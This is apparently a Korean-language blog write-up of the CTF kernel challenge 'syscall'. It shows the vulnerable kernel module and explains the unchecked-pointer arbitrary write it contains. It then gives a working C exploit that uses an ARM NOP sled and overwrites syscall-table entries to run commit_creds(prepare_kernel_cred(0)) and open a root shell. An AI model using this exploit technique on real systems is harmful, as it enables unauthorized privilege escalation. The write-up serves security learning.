[PWN] syscall Write-Up

Magnolia·2026년 5월 24일

sys_upper syscall

// adding a new system call : sys_upper

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/vmalloc.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <asm/page.h>
#include <linux/syscalls.h>

#define SYS_CALL_TABLE		0x8000e348		// manually configure this address!!
#define NR_SYS_UNUSED		223

//Pointers to re-mapped writable pages
unsigned int** sct;

asmlinkage long sys_upper(char *in, char* out){
	int len = strlen(in);
	int i;
	for(i=0; i<len; i++){
		if(in[i]>=0x61 && in[i]<=0x7a){
			out[i] = in[i] - 0x20;
		}
		else{
			out[i] = in[i];
		}
	}
	return 0;
}

static int __init initmodule(void ){
	sct = (unsigned int**)SYS_CALL_TABLE;
	sct[NR_SYS_UNUSED] = sys_upper;
	printk("sys_upper(number : 223) is added\n");
	return 0;
}

static void __exit exitmodule(void ){
	return;
}

module_init( initmodule );
module_exit( exitmodule );

코드 요약

이 코드는 시스템 콜 테이블에 sys_upper 라는 함수를 syscall 223번에 끼워 넣는 커널 모듈 코드이다.
sys_upper 함수는 말 그대로\ 문자열을 모두 대문자로 바꿔주는 역할을 한다.

취약점

if(in[i]>=0x61 && in[i]<=0x7a){
	out[i] = in[i] - 0x20;
}
else{
	out[i] = in[i];
}

여기서 in의 값을 그대로 out에 넣기 때문에 AAW 취약점이 발생한다.
유저가 syscall 인자로 넘긴 포인터를 커널이 검증 없이 커널 권한으로 접근하기 때문에 임의 커널 메모리 읽기, 쓰기가 가능해지고 이를 통해 LPE가 가능할 수 있다.


Exploit

이전 글에서 살펴봤던 것과 같이 커널에서 권한을 root로 상승시키기 위해선 commit_creds(prepare_kernel_cred(0))를 사용하면 된다.
commit_creds() 함수와 prepare_kernel_cred() 함수의 주소를 임의 함수 syscall table 엔트리에 덮어 쓰고 호출해서 익스플로잇을 할 계획이다.

cat /usr/include/arm-linux-gnueabihf/asm/unistd.h

commit_creds() 함수와 prepare_kernel_cred() 함수 모두 인자 1개를 요구하기 때문에 인자가 1개인 unlinktime 엔트리를 덮어쓸 것이다.


commit_creds()prepare_kernel_cred()의 커널 주소는 /proc/kallsyms 에 존재한다.

8003f56c T commit_creds
8003f924 T prepare_kernel_cred

근데 여기서 commit_creds() 같은 경우에는 8003f56c인데 6c

if(in[i]>=0x61 && in[i]<=0x7a){
	out[i] = in[i] - 0x20;
}

에서 0x61보다 크다면 in[i] - 0x20을 해버리기 때문에 6c60으로 때워버리고 c만큼 NOP 으로 덮어야 한다.
ARM 아키텍처에서 NOP 구현은 mov r4, r4로 할 수 있다.

/tmp $ cat ex.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main()
{
        unsigned int** syscall_table = (unsigned int**)0x8000e348;

        syscall(223, "\x04\x40\xa0\xe1\x04\x40\xa0\xe1\x04\x40\xa0\xe1", (char *)0x8003f560); // NOP SLED
        syscall(223, "\x60\xf5\x03\x80", &syscall_table[10]); // unlink -> commit_creds
        syscall(223, "\x24\xf9\x03\x80", &syscall_table[13]); // time -> prepare_kernel_cred

        syscall(10, syscall(13, 0)); // commit_creds(prepare_kernel_cred(0))

        system("/bin/sh");
}

syscall table 주소는 모듈 코드에서 구했다.

우선 0x8003f560에 NOP SLED를 써서 0x8003f56c까지 도달시키고 unlinkcommit_creds()로 덮어버린다.
그리고 time도 마찬가지로 prepare_kernel_cred로 덮고 prepare_kernel_cred(0)unlink의 인자, 즉 commit_creds()의 인자로 넣어서 권한을 상승시키고 셸을 호출하여 권한을 상승시킨다.


1개의 댓글

comment-user-thumbnail
2026년 5월 29일

유익하네요 잘 읽었습니다

답글 달기